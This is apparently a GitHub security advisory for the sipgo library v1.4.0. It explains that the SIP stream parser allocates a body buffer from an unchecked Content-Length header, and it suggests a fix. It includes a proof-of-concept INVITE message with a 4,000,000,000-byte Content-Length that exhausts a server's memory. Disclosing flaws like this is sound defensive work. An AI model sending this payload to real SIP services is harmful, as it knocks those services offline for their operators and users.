GHSA-pg59-5vwg-4jxq

### Summary

The stream parser allocates the SIP body buffer from the `Content-Length` header before validating its size, which can lead to an unauthenticated DoS.

### Details

`ParserStream.parseSingle` allocates the body buffer from the declared `Content-Length` with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):

```go body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32) ```

The `ParseMaxMessageLength` (65535) check is in the caller `ParseNext` (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after `parseSingle` has already allocated the buffer.

### PoC

Tested on emiago/sipgo v1.4.0 (latest).

Send a single message with a large `Content-Length` and no body to a SIP server:

``` INVITE sip:victim@example.com SIP/2.0 Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1 From: <sip:attacker@attacker.example>;tag=1 To: <sip:victim@example.com> Call-ID: 1@attacker.example CSeq: 1 INVITE Content-Length: 4000000000 // <- a large Content-Length

```

### Suggested Fix

Validate `contentLength` against `ParseMaxMessageLength` before the allocation.

### Impact

Unauthenticated DoS. Any service using `sipgo` with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.